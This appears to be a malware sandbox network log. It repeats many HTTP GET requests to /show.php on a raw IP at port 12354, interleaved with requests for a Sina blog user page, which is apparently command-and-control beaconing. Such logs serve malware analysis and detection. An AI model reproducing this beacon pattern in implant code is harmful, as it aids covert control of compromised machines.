Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
